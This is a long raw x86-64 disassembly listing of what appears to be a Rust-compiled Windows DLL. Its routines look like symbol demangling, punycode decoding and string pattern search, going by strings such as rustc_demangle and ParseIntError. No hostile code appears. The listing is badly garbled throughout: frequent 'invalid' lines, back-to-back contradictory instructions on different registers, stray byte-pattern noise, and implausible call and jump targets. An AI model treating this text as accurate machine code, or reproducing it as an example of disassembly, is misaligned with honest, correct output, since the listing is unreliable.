push rsi
sub rsp, 0x20
mov rsi, r8
call fcn.180034292
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp fcn.18002ee0e
lea edi, [rsp + 0x28]
mov rcx, rdi
mov rdx, rsi
call fcn.18000267f
mov rcx, rsi
call fcn.18002ee0e
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmmword [rsi + 0x20], xmm2
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
add rsp, 0x58
pop rdi
pop rsi
ret
int3
sub esp, 0x38
lea rbp, [rsp + 0x30]
mov r12, qword [rdx + 0x18]
mov rsi, qword [rdx + 0x10]
xor eax, eax
mov r8, r12
sub r8, rsi
jb 0x18003d2af
mov rdi, rdx
mov rdx, qword [rdx + 8]
mov qword [rbp - 8], rdx
clc
clc
cmp r12, rdx
ja 0x18003d2af
invalid
add byte [rax - 0x77], cl
add byte [r11 + rcx*4 + 0x3f], r9b
mov qword [rbp], rcx
mov r15, qword [rdi]
lea rdx, [r15 + rsi]
movzx ebx, byte [rdi + 0x28]
movzx r14d, byte [rdi + rbx + 0x1f]
cmp rbx, 4
sti
add al, 0x77
invalid
je 0x18003d162
invalid
sti
add al, 0x77
lea rax, es:[rdi + 0x20]
lea rax, [rdi + 0x20]
mov qword [rbp - 0x10], rax
jmp 0x18003d210
invalid
add byte [rsi + 0xf], ah
invalid
lea rdx, [r15 + rsi]
lea edx, [rdi + rsi]
adc al, 0x37
mov r8, r12
sub r8, rsi
jb case.0x18002b117.174
cmp r8, 0x10
cmp eax, 0x10
jae 0x18003d1a0
xor ecx, ecx
cmp r12, rsi
je case.0x18003e72b.172
nop dword [rax]
cmp byte [rdx + rcx], r14b
cmp byte [rdx + rcx], dh
je 0x18003d1b6
inc rcx
cmp r8, rcx
jne 0x18003d180
invalid
mov rcx, r8
mov rcx, r8
xor eax, eax
cmp rax, 1
je 0x18003d1d0
jmp 0x18003d2a3
add byte [rsi - 0x70], ah
mov ecx, r14d
mov ecx, esi
call fcn.1800287e0
mov rcx, rdx
cmp rax, 1
je 0x18003d1d0
jmp 0x18003d2a3
mov eax, 1
cmp rax, 1
jne 0x18003d2a3
fiadd word [rax]
add byte [rax], al
fiadd word [rax]
add byte [rax], al
nop word cs:[rax + rax]
add rsi, rcx
add esi, ecx
inc rsi
mov qword [rdi + 0x10], rsi
cmp rsi, rbx
cmp esi, ebx
jb 0x18003d160
cmp rsi, qword [rbp - 8]
jne 0x18003d1db
ja 0x18003d160
lea r8, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7librarycore_src_strpattern.rs
mov edx, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
mov rcx, rbx
call fcn.180069810
nop dword [rax]
lea rdx, [r15 + rsi]
lea edx, [rdi + rsi]
mov r8, r12
sub r8, rsi
jb case.0x18002b117.174
cmp r8, 0x10
cmp eax, 0x10
jae 0x18003d240
xor ecx, ecx
cmp r12, rsi
je 0x18003d231
nop dword [rax]
cmp byte [rdx + rcx], r14b
cmp byte [rdx + rcx], dh
je 0x18003d253
inc rcx
cmp r8, rcx
jne 0x18003d220
mov rcx, r8
xor eax, eax
cmp rax, 1
je 0x18003d260
jmp 0x18003d2a3
mov ecx, r14d
call fcn.1800287e0
mov rcx, rdx
cmp rax, 1
je 0x18003d260
jmp 0x18003d2a3
mov eax, 1
cmp rax, 1
jne 0x18003d2a3
nop
add rsi, rcx
inc rsi
mov qword [rdi + 0x10], rsi
mov r13, rsi
sub r13, rbx
sub ebp, ebx
jb 0x18003d200
mov cs, word [rax + 0x3b]
jne 0x18003d26e
cmp rsi, qword [rbp - 8]
ja 0x18003d200
lea rcx, [r15 + r13]
lea ecx, [rdi + rbp]
mov rdx, qword [rbp - 0x10]
mov edx, dword [rbp - 0x10]
mov r8, rbx
mov eax, ebx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
ror byte [rdi], 0x85
jo 0x18003d28d
invalid
invalid
ror byte [rdi], 0x85
jo 0x18003d28d
invalid
invalid
mov rcx, qword [rbp]
mov qword [rcx + 8], r13
mov qword [rcx + 0x10], rsi
mov dword [rcx + 0x10], esi
mov dword [rcx + 0x10], esi
mov eax, 1
jmp 0x18003d2af
mov qword [rdi + 0x10], r12
jmp 0x18003d2ab
xor eax, eax
mov rcx, qword [rbp]
mov qword [rcx], rax
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
int3
mov rax, rdx
mov rax, rdx
mov qword [rbp - 8], rcx
lea rcx, [0x18007af48]
lea ecx, [0x18007af48]
lea ecx, [0x18007af48]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x30], ecx
and al, 0x30
lea rcx, [rbp - 8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], 4
and al, 0x20
add al, 0
and byte [rax + rax], al
add byte [rax], al
lea rdx, str.ParseIntError
adc eax, 0x3dc32
xor bl, ah
add eax, dword [rax]
lea r9, str.kind
mov ebx, 0x410003f9
mov eax, 0xd
invalid
stc
add eax, dword [rax]
mov r8d, 0xd
add byte [rax - 0x77], cl
shr eax, 0xd5
movabs eax, dword [0x5d40c4834890fffe]
call qword [rax + 0x40c48348]
pop rbp
mov rcx, rax
call fcn.1800274f0
call qword [rax + 0x40c48348]
call qword [rax + 0x40c48348]
pop rbp
ret
int3
int3
mov ebp, esp
mov rax, qword [rcx]
in eax, 0x48
mov eax, dword [rcx]
movzx eax, byte [rax]
lea rcx, [0x18007b640]
mov r8, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
lea rcx, [0x18007b668]
add eax, dword [rax]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
enter 0xffffffffffff8b48, 0x4a
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
invalid
enter 0xffffffffffff8b48, 0x4a
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
sbb byte [rax - 0x77], cl
ret 0x495d
pop rbp
jmp r9
invalid
loope 0x18003d333
int3
int3
push rbx
sub rsp, 0x90
lea rbp, [rsp + 0x80]
mov rsi, rcx
mov rcx, qword [rcx]
test rcx, rcx
leave
leave
je 0x18003d8c4
mov eax, dword [rsi + 0x18]
inc eax
mov dword [rsi + 0x18], eax
cmp eax, 0x1f4
hlt
add dword [rax], eax
invalid
sbb dil, r15b
ror byte [rcx - 0xbc2e7ba], 1
hlt
add dword [rax], eax
invalid
hlt
jbe case.0x18001e8df.331
mov rcx, qword [rsi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], cl
leave
je case.0x18001c9bf.335
lea rdx, [0x18007b4a8]
lea edx, [0x18007b4a8]
mov r8d, 0x19
call fcn.1800217c0
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x563850f], eax
test al, al
jne 0x18003d92c
mov dil, 1
test al, al
jne 0x18003d92c
mov qword [rsi], 0
mov byte [rsi + 8], 1
add byte [rax], al
add dh, al
or byte [rcx], r8b
jmp 0x18003d92a
push rcx
add eax, 0x8b4c0000
mov r8, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r8
mov r8, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r8
jae case.default.0x18003d412
adc dword [rbx], 5
add byte [rax], al
invalid
add byte [rdi], cl
mov dh, 0x1c
add dword [rbp + rcx*4 + 0x48], ecx
add dword [rcx + rcx*4 + 0x4e], ecx
movzx ebx, byte [rcx + rax]
lea r9, [rax + 1]
mov qword [rsi + 0x10], r9
adc byte [rbp + rcx*4 + 0x53], al
mov esi, 0x17fa8341
adc byte [rbp + rcx*4 + 0x53], al
mov esi, 0x17fa8341
ja case.default.0x18003d412
add byte [rax], al
lea r11, [0x1800828e0]
lea ebx, [0x1800828e0]
movsxd r10, dword [r11 + r10*4]
add r10, r11
jmp r10
cmp r9, r8
jae 0x18003d445
cmp byte [rcx + r9], 0x73
jne 0x18003d445
lea r9, [rax + 2]
mov qword [rsi + 0x10], r9
cmp r9, r8
cmp ecx, eax
cmp ecx, eax
jae case.default.0x18003d412
cmp byte [rcx + r9], 0x5f
jne 0x18003d82f
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x7d], cl
rol byte [rbx], 0x48
add rax, 3
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x10], eax
mov dword [rsi + 0x10], eax
mov rdi, qword [rsi + 0x20]
mov qword [rsi + 0x20], 0
mov rcx, rsi
xor edx, edx
call fcn.18003d370
test al, al
jne 0x18003da78
mov qword [rsi + 0x20], rdi
jle 0x18003d487
test rdi, rdi
jne 0x18003d5bf
mov edi, edx
mov rcx, rsi
call fcn.18003e5b0
mov rbx, rax
test bl, 1
jne 0x18003d6d6
add al, byte [r8]
add byte [rax - 0x77], cl
mov rcx, rsi
int1
mov edx, edi
call fcn.18003d370
mov dil, 1
test al, al
jne 0x18003d92c
add al, 0
add byte [rax - 0x7d], cl
add byte ds:[rdi], cl
test ch, ch
add eax, dword [rax]
add byte [rax - 0x73], cl
invalid
cmp qword [rsi], 0
je 0x18003d897
add byte [rax], al
add byte [rax - 0x7d], cl
add byte ds:[rdi], cl
test dl, bh
add eax, dword [rax]
add byte [rbx + rcx*4 + 0x75], cl
clc
lea rcx, [rbp - 0x10]
mov rdx, rsi
call fcn.18003dd20
cmp qword [rbp - 0x10], 0
lock add byte [rdi], cl
invalid
invalid
add eax, dword [rax]
invalid
lock add byte [rdi], cl
test byte [rcx + 0x48000003], ch
shr ebx, 0x20
shr rbx, 0x20
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
movaps xmmword [rbp - 0x20], xmm1
movaps xmmword [rbp - 0x30], xmm0
cmp ebx, 0x110000
add byte [rdi], cl
test dword [rdi], esi
add al, 0
invalid
add byte [rdi], cl
test dword [rdi], esi
add al, 0
add byte [rax - 0x75], cl
fmul dword [r8 + 0xb]
call 0x181b55920
invalid
mov cl, 1
add byte [rax], al
mov rax, qword [rbp - 0x28]
or rax, qword [rbp - 0x18]
je 0x18003d6c4
invalid
mov cl, 1
add byte [rax], al
test byte [rcx + 0x48000001], dh
mov ecx, dword [rsi + 0x20]
invalid
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x7b], cl
leave
test rcx, rcx
je 0x18003d6c4
add byte [rax], al
lea rdx, [0x18007b0b8]
mov r8d, 2
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
call fcn.1800217c0
test al, al
jne 0x18003d92c
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x75], cl
push rsi
and byte [rax - 0x7b], cl
ror byte [rdi], cl
test byte [rbp + 1], bh
add byte [rax], al
invalid
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x18003d6c4
invalid
lea rcx, [rbp - 0x30]
call fcn.18003df10
or dword [rax], eax
add byte [rax + rax*8 + 0x16c840f], al
add byte [rax], al
or dword [rax], eax
add byte [rax + rax*8 + 0x16c840f], al
add byte [rax], al
jmp 0x18003d92c
lea rcx, [rbp - 0x10]
mov rdx, rsi
call fcn.18003dc40
cmp byte [rbp - 0x10], 0
je 0x18003d701
movzx ebx, byte [rbp - 0xf]
mov rcx, qword [rsi + 0x20]
test bl, bl
je 0x18003d7c7
test rcx, rcx
je 0x18003d7e9
lea rdx, [0x18007b4a8]
adc eax, 0x3df15
add eax, dword [rax]
mov r8d, 0x19
jmp 0x18003d7d9
mov rcx, rsi
call fcn.18003dab0
mov dil, 1
test al, al
je 0x18003d6c4
jmp 0x18003d92c
mov rdi, qword [rsi + 0x20]
test rdi, rdi
je 0x18003d5df
lea rdx, [0x18007b173]
mov r8d, 1
mov rcx, rdi
call fcn.1800217c0
mov dil, 1
test al, al
jne 0x18003d92c
mov rcx, rsi
call fcn.18003e610
mov dil, 1
test al, al
jne 0x18003d92c
cmp bl, 0x4d
je 0x18003d6a1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003d61e
lea rdx, [0x18007b4dc]
mov r8d, 4
call fcn.1800217c0
test al, al
jne 0x18003d92c
mov rcx, rsi
xor edx, edx
call fcn.18003d370
test al, al
invalid
je 0x18003d6a1
sal byte [rbp + rsi*2 - 0x17], 0xfb
add al, byte [rax]
add byte [rax - 0x77], cl
mov rcx, rsi
jmp 0x18003d92c
mov rcx, rsi
mov ebx, edx
call fcn.18003d370
invalid
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x2e6850f], eax
add byte [rax], al
invalid
test bl, bl
je 0x18003d66d
invalid
and ecx, dword [rax - 0x75]
and byte [rax - 0x7b], r9b
leave
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003d66d
lea rdx, [0x18007b0b8]
mov r8d, 2
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
call fcn.1800217c0
test al, al
jne 0x18003d92c
invalid
add al, byte [rax]
invalid
mov edi, 0x48000002
mov ecx, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003d690
lea rdx, [0x18007b173]
neg dl
add eax, dword [rax]
mov r8d, 1
call fcn.1800217c0
test al, al
ror byte [rdi], 0x85
pushfq
add al, byte [rax]
invalid
ror byte [rdi], 0x85
pushfq
add al, byte [rax]
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.18003eb40
test rax, rax
test eax, eax
test eax, eax
jne 0x18003d92c
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003d6c4
invalid
sbb cl, byte [rax - 0x73]
adc eax, 0x3dac1
lea rdx, [0x18007b172]
mov r8d, 1
call fcn.1800217c0
test al, al
jne 0x18003d92c
cmp qword [rsi], 0
je 0x18003d92a
dec dword [rsi + 0x18]
jmp 0x18003d92a
mov rcx, qword [rsi + 0x20]
test ebx, 0x100
jne 0x18003d7f8
test rcx, rcx
je 0x18003d81a
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_______::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
jmp 0x18003d80a
cmp qword [rsi], 0
je 0x18003d8c4
mov rbx, qword [rbp - 8]
lea rcx, [rbp - 0x10]
mov rdx, rsi
call fcn.18003dd20
cmp qword [rbp - 0x10], 0
je 0x18003d88e
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x18003d6c4
lea rcx, [rbp - 0x50]
call fcn.18003df10
mov dil, 1
test al, al
jne 0x18003d92c
mov rax, qword [rsi + 0x20]
test rax, rax
je 0x18003d6c4
test byte [rax + 0x34], 4
xor al, 4
jne 0x18003d6c4
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x18007b4cb]
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x18003d92c
invalid
add byte [rax - 0x75], cl
push rsi
and byte [rax - 0x77], cl
fld1
or bl, byte [rax - 0x3f7b0002]
mov rdx, qword [rsi + 0x20]
mov rcx, rbx
call 0x180026fa0
test al, al
jne 0x18003d92c
mov rax, qword [rsi + 0x20]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x18007b4cc]
mov r8d, 1
call qword [rax + 0x18]
test al, al
je 0x18003d6c4
jmp 0x18003d92c
test rcx, rcx
je 0x18003d7e9
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_______::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.1800217c0
mov dil, 1
test al, al
jne 0x18003d92c
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x18003d92a
test rcx, rcx
je 0x18003d81a
lea rdx, [0x18007b4a8]
mov r8d, 0x19
call fcn.1800217c0
mov dil, 1
test al, al
jne 0x18003d92c
shr ebx, 8
and bl, 1
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x18003d92a
xor eax, eax
mov r10d, 0x3e
movzx edx, byte [rcx + r9]
cmp dl, 0x5f
je 0x18003d8ec
lea r11d, [rdx - 0x30]
cmp r11b, 0xa
jb 0x18003d872
lea r11d, [rdx - 0x61]
cmp r11b, 0x1a
jae 0x18003d85e
add dl, 0xa9
jmp 0x18003d86f
invalid
adc dword [rbp + rcx*4 + 0x5a], eax
mov edi, 0x1afb8041
lea r11d, [rdx - 0x41]
cmp r11b, 0x1a
jae case.default.0x18003d412
add dl, 0xe3
ret 0x41e3
mov r11d, edx
inc r9
mov qword [rsi + 0x10], r9
mul r10
jo case.default.0x18003d412
invalid
jg 0x18003d8c0
movzx edx, r11b
movzx edx, bl
add rax, rdx
jb case.default.0x18003d412
cmp r9, r8
jb 0x18003d837
movzx ebx, byte [rbp - 8]
jmp 0x18003d577
out 0xfb, al
invalid
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003d92a
lea rdx, [0x18007b4c1]
mov r8d, 1
add rsp, 0x90
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
jmp fcn.1800217c0
inc r9
inc ecx
mov qword [rsi + 0x10], r9
cmp rax, 0xfffffffffffffffd
jbe 0x18003d445
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003d91f
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_______::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.1800217c0
mov dil, 1
test al, al
jne 0x18003d92c
mov qword [rsi], 0
mov byte [rsi + 8], 0
xor edi, edi
mov eax, edi
add rsp, 0x90
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003d961
lea rdx, [0x18007b4cd]
mov r8d, 3
call fcn.1800217c0
test al, al
jne 0x18003d92c
mov rax, qword [rsi + 0x20]
jmp 0x18003d963
xor eax, eax
cmp ebx, 0x43
je 0x18003d981
cmp ebx, 0x53
jne 0x18003d99d
test rax, rax
je 0x18003d9b9
lea rdx, [0x18007b4d7]
mov r8d, 4
jmp 0x18003d993
test rax, rax
je 0x18003d9b9
lea rdx, [0x18007b4d0]
mov r8d, 7
mov rcx, rax
call fcn.1800217c0
jmp 0x18003d9b1
mov dword [rbp - 0x10], ebx
test rax, rax
je 0x18003d9b9
lea rcx, [rbp - 0x10]
mov rdx, rax
call fcn.180028600
test al, al
jne 0x18003d92c
mov rax, qword [rbp - 0x28]
mov rcx, qword [rsi + 0x20]
or rax, qword [rbp - 0x18]
jne 0x18003da25
test rcx, rcx
je 0x18003d6c4
lea rdx, [0x18007b4db]
mov r8d, 1
call fcn.1800217c0
test al, al
jne 0x18003d92c
mov rdx, qword [rsi + 0x20]
mov qword [rbp - 0x10], r14
test rdx, rdx
je 0x18003d6c4
lea rcx, [rbp - 0x10]
call 0x180020440
test al, al
jne 0x18003d92c
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003d6c4
lea rdx, [0x18007d55b]
jmp 0x18003d6b1
test rcx, rcx
je 0x18003d6c4
lea rdx, [0x18007da80]
mov r8d, 1
call fcn.1800217c0
test al, al
jne 0x18003d92c
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x18003d6c4
lea rcx, [rbp - 0x30]
call fcn.18003df10
test al, al
jne 0x18003d92c
mov rcx, qword [rsi + 0x20]
test rcx, rcx
jne 0x18003d9d0
jmp 0x18003d6c4
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
lea rcx, str._fmt::Error_s_should_be_impossible_without_a__fmt::Formatter_
lea r9, [0x18007aed8]
lea r8, [rbp - 0x10]
mov edx, 0x3d
call fcn.180069b20
int3
mov byte [rcx + 8], 0
mov qword [rcx], 0
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
test esi, esi
je 0x18003dde1
mov qword [rcx], r8
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], rsi
jmp 0x18003ddec
add dword [rax], eax
add byte [rcx - 0x75], cl
and al, 0x10
mov qword [rbp + 0x1c8], rax
movzx r10d, byte [rax]
movzx edx, byte [rax]
mov rcx, qword [r12]
mov rax, qword [r12 + 8]
test rax, rax
mov qword [rbp + 0x1b0], rcx
mov qword [rbp + 0x1a8], rax
add dword [rax], eax
add byte [rdi], cl
invalid
invalid
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi], cl
test byte [0x1c803df93], bl
add eax, ecx
add rax, rcx
xor r15d, r15d
nop word [rax + rax]
movzx r11d, byte [rcx]
movzx edx, r11b
test dl, dl
js 0x18003dfd0
inc rcx
cmp r15, 0x80
jne 0x18003e070
jmp 0x18003e4a5
mov r8d, edx
and r8d, 0x1f
movzx esi, byte [rcx + 1]
and esi, 0x3f
cmp dl, 0xdf
jbe 0x18003e02f
movzx r9d, byte [rcx + 2]
shl esi, 6
and r9d, 0x3f
or r9d, esi
cmp r11b, 0xf0
jb 0x18003e04b
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
je 0x18003e0b1
add rcx, 4
cmp r15, 0x80
jne 0x18003e070
jmp 0x18003e4a5
add rcx, 2
shl r8d, 6
or r8d, esi
mov edx, r8d
cmp r15, 0x80
add byte [rax], al
add byte [rax], al
jne 0x18003e070
jmp 0x18003e4a5
add rcx, 3
shl r8d, 0xc
or al, 0x45
or ecx, eax
or al, 0x45
or ecx, eax
mov edx, r9d
cmp r15, 0x80
add byte [rax], al
add byte [rdi], cl
test byte [rdi], bh
add al, 0
invalid
add byte [rax], al
add byte [rdi], cl
test byte [rdi], bh
add al, 0
add byte [rsi + 0x2e], ah
nop dword [rax + rax]
nop word cs:[rax + rax]
mov dword [rbp + r15*4 - 0x58], edx
inc r15
cmp rcx, rax
jne 0x18003dfa0
jmp 0x18003e0b1
add rsp, 0x288
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp rax
xor r15d, r15d
mov rax, qword [rbp + 0x1b8]
mov r13, qword [rbp + 0x1c8]
add byte [rax], al
add rax, r13
mov qword [rbp + 0x1e0], rax
lea rax, [r15*4 + 4]
add byte [rax - 0x77], cl
test eax, ebp
add dword [rax], eax
add byte [rcx + rcx*4 - 8], cl
not rax
mov qword [rbp + 0x1d0], rax
test eax, edx
add dword [rax], eax
add byte [rcx - 0x73], cl
add dword [r8 - 0x77], r9d
test dword [rax], eax
add al, byte [rax]
invalid
test eax, edx
add dword [rax], eax
add byte [rcx - 0x73], cl
add dword [r8 - 0x77], r9d
test dword [rax], eax
add al, byte [rax]
add byte [rsi - 0x73], cl
lea r12, [rbp + r15*4 - 0x64]
mov eax, 0x2bc
lea r12, [rbp + r15*4 - 0x64]
mov eax, 0x2bc
mov qword [rbp + 0x1f0], rax
mov r14d, 0x48
mov eax, 0x80
test eax, esi
add dword [rax], eax
lock add dword [rax], eax
add byte [rcx - 0x42], al
add byte [rax], al
add byte [rax + 0x80], bh
mov qword [rbp + 0x1f8], rax
mov edx, 0x1a
add dword [rax], eax
add byte [rdx + 0x1a], bh
xor r8d, r8d
mov ecx, 0x24
sub rcx, r14
mov eax, 0
cmovae rax, rcx
cmp rax, 1
clc
add dword [rax - 0x7d], ecx
rol byte [rax], 1
clc
add dword [rax - 0x7d], ecx
rol byte [rax], 1
cmp rax, 0x1a
cmovae rax, rdx
lea ecx, [r10 - 0x61]
cmp cl, 0x1a
jb 0x18003e159
lea ecx, [r10 - 0x30]
cmp cl, 9
ja 0x18003e4a5
add r10b, 0xea
mov ecx, r10d
mov ebx, 0x1a
inc r13
movzx ecx, cl
cmp rax, rcx
jbe 0x18003e1b0
add r8, rcx
jb 0x18003e4a5
lea rdi, [r15 + 1]
mov rax, r8
or rax, rdi
shr rax, 0x20
je 0x18003e282
mov rax, r8
xor edx, edx
ror byte [rax - 9], cl
invalid
mov r9, rdx
ror byte [rax - 9], cl
test dword [rcx - 0x77], 0x850148d1
add qword [rbp + 0x1f8], rax
jae 0x18003e299
sti
add byte [rax], al
invalid
add qword [rbp + 0x1f8], rax
jae 0x18003e299
sti
add byte [rax], al
invalid
sti
add byte [rax], al
add cl, ch
add al, byte [rbx]
jmp 0x18003e4a5
add byte [rax], al
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
cmp r13, qword [rbp + 0x1e0]
je 0x18003e4a5
mov edx, 0x48
sub rdx, r14
mov esi, 0
mov esi, 0
cmovae rsi, rdx
cmp rsi, 1
add dword [rax - 0x7d], ecx
invalid
add byte [rax - 0x7d], cl
invalid
sbb cl, byte [rax + 0xf]
mov r9d, 0x24
add byte [rax], al
invalid
add dword [rax - 0x7d], ecx
invalid
add byte [rax], al
add byte [rcx + 0x29], cl
sub r9, rax
mov edi, 0x6c
insb byte [rdi], dx
add byte [rax], al
add byte [rdi], cl
sub r9, rax
mov edi, 0x6c
insb byte [rdi], dx
add byte [rax], al
add byte [rdi], cl
invalid
invalid
invalid
insb byte [rdi], dx
add byte [rax], al
add byte [rdi], cl
invalid
mov rax, rdi
sub rax, r14
sub eax, esi
sub eax, esi
mov r11d, 0
cmovae r11, rax
movzx eax, byte [r13]
lea edx, [rax - 0x61]
cmp dl, 0x1a
jb 0x18003e21d
lea edx, [rax - 0x30]
cmp dl, 9
ja 0x18003e4a5
add al, 0xea
mov edx, eax
movzx r10d, dl
mov rax, r10
mul r9
jo 0x18003e4a5
add rcx, rax
jb 0x18003e4a5
invalid
cmp rsi, r10
ja 0x18003e312
mov edx, 0x24
sub rdx, rsi
sub edx, esi
mov rax, r9
mul rdx
jo 0x18003e4a5
mov r9, rax
mov ecx, eax
ror dword [rcx - 1], 0xc5
inc r13
cmp r11, 1
adc r11, 0
adc ebx, 0
adc ebx, 0
cmp r11, 0x1a
cmovae r11, rbx
add rdi, 0x24
mov rsi, r11
sbb cl, byte [rdi + rcx + 0x43]
fisttp dword [rax - 0x7d]
invalid
mov esi, ebx
cmp r13, qword [rbp + 0x1e0]
jne 0x18003e1f0
jmp 0x18003e4a5
mov eax, r8d
xor edx, edx
div edi
mov r9d, edx
add qword [rbp + 0x1f8], rax
jb 0x18003e4a5
mov rax, qword [rbp + 0x1f8]
add byte [rax], al
shr rax, 0x20
jne 0x18003e4a5
test ebx, edi
add dword [rax], eax
invalid
test ebx, edi
add dword [rax], eax
add byte [rax - 0x75], cl
test eax, edi
mov rax, qword [rbp + 0x1f8]
xor eax, 0xd800
add dword [rax], eax
add byte [0x18004bab6], dh
add eax, 0xffef0000
cmp eax, 0xffef0800
or bh, ch
dec dword [rdi]
invalid
fild word [rcx]
add byte [rax], al
or bh, ch
dec dword [rdi]
invalid
cmp r15, 0x7f
ja 0x18003e4a5
mov r10, r15
sub r10, r9
jbe 0x18003e300
cmp r10, 7
cmp edx, 7
jbe 0x18003e380
mov rax, r8
mov r11, qword [rbp + 0x200]
or rax, r11
add al, byte [rax]
add byte [rcx + rcx - 0x28], cl
shr rax, 0x20
je 0x18003e323
mov rax, r8
xor edx, edx
div r11
jmp 0x18003e32b
ror byte [rcx - 9], cl
jmp 0x18003e32b
cmp r9, 0x80
jb 0x18003e396
invalid
add cl, ch
test byte [rdx], al
add byte [rax], al
jmp 0x18003e596
inc r13
add r8, rcx
jae 0x18003e172
adc dword [rsi + rdi*8 - 1], 0xffffffff
invalid
jmp 0x18003e4a5
mov eax, r8d
xor edx, edx
div r11d
div ebx
mov rdx, r10
mov edx, edx
and rdx, 0xfffffffffffffff8
imul rax, qword [rbp + 0x1d0]
add byte [rcx + 1], cl
ror byte [rcx + rcx*4 - 8], 0x4c
sub eax, eax
add byte [rcx + 1], cl
ror byte [rcx + rcx*4 - 8], 0x4c
sub eax, eax
and rax, 0xfffffffffffffff8
neg rax
xor r8d, r8d
ror byte [rdi], 0x1f
invalid
ror byte [rdi], 0x1f
add byte [rbx + 0xf], al
adc byte [rsp + rax*4 - 0x14], al
movups xmm0, xmmword [r12 + r8*4 - 0x14]
movups xmm1, xmmword [r12 + r8*4 - 4]
movups xmmword [r12 + r8*4], xmm1
movups xmmword [r12 + r8*4 - 0x10], xmm0
add r8, 0xfffffffffffffff8
cmp rax, r8
jne 0x18003e350
cmp r10, rdx
je 0x18003e396
sub r15, rdx
nop dword [rax + rax]
mov eax, dword [rbp + r15*4 - 0x5c]
mov dword [rbp + r15*4 - 0x58], eax
lea rax, [r15 - 1]
mov r15, rax
cmp rax, r9
ja 0x18003e380
mov rax, qword [rbp + 0x1f8]
mov dword [rbp + r9*4 - 0x58], eax
cmp r13, qword [rbp + 0x1e0]
je 0x18003e552
add byte [rax], al
add byte [rax], al
movzx r10d, byte [r13]
mov rax, rcx
shr rax, 0x20
mov r11, qword [rbp + 0x1e8]
je 0x18003e3d5
push rbp
add byte [rax - 0x77], cl
enter 0xffffffffffffc148, 0xffffffffffffffe8
and byte [rbx + rcx*4 - 0x63], cl
popfq
call 0x1f403e3c4
adc dword [rax - 0x77], ecx
enter 0xffffffffffffd231, 0x48
div dword [rbp + 0x1f0]
mov rax, rcx
xor edx, edx
div qword [rbp + 0x1f0]
mov rcx, rax
jmp 0x18003e3e1
mov eax, ecx
xor edx, edx
div dword [rbp + 0x1f0]
mov ecx, eax
invalid
ror dword [rax - 0x75], 0xb5
add byte [rdx], al
mov rsi, qword [rbp + 0x200]
add byte [rax], al
